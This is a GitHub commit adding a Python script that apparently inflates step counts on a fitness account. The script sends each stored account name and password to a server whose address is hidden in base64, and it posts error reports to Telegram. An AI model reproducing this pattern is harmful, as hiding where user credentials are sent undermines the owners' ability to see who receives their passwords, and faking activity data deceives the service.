Skip to content

Commit

Permalink
Create steps.py
Browse files Browse the repository at this point in the history
  • Loading branch information
ymyuuu authored Sep 20, 2023
1 parent f475e80 commit ba95909
Showing 1 changed file with 55 additions and 0 deletions.
55 changes: 55 additions & 0 deletions steps.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,55 @@
import os
import requests
import base64
import random

# 从 Secrets 中读取 Telegram API Token 和聊天 ID
telegram_api_token = os.environ['TELEGRAM_API_TOKEN']
telegram_chat_id = os.environ['TELEGRAM_CHAT_ID']

# 从 Secrets 中读取账号和密码
accounts_and_passwords = os.environ['ACCOUNTS_AND_PASSWORDS']
account_password_pairs = [pair.split(',') for pair in accounts_and_passwords.split(';')]

def send_telegram_message(message):
telegram_url = f"https://api.telegram.org/bot{telegram_api_token}/sendMessage"
data = {
'chat_id': telegram_chat_id,
'text': message
}
response = requests.post(telegram_url, data=data)

def modify_steps(account, password, min_steps=None, max_steps=None):
encoded_url = 'aHR0cDovL2JzLnN2di5pbmsvaW5kZXgucGhw'
url = base64.b64decode(encoded_url).decode('utf-8')
steps = random.randint(min_steps, max_steps)
data = {
'account': account,
'password': password,
'steps': steps
}

response = requests.post(url, data=data)
result = response.json()

# 检查响应是否不是"success",然后发送Telegram消息
if result.get('message') != 'success':
telegram_message = f"Steps_modifier\n\n账号: {account}\n响应: {result.get('message', 'No message found in response')}"
send_telegram_message(telegram_message)

return {
'account': account,
'response': result.get('message', 'No message found in response')
}

if __name__ == "__main__":
min_steps = 1
max_steps = 10

for account, password in account_password_pairs:
result = modify_steps(account, password, min_steps, max_steps)
# 隐藏账号的中间部分
hidden_account = account[:3] + '*' * (len(account) - 6) + account[-3:]

print("账号:", hidden_account)
print("响应:", result['response'])

0 comments on commit ba95909

Please sign in to comment.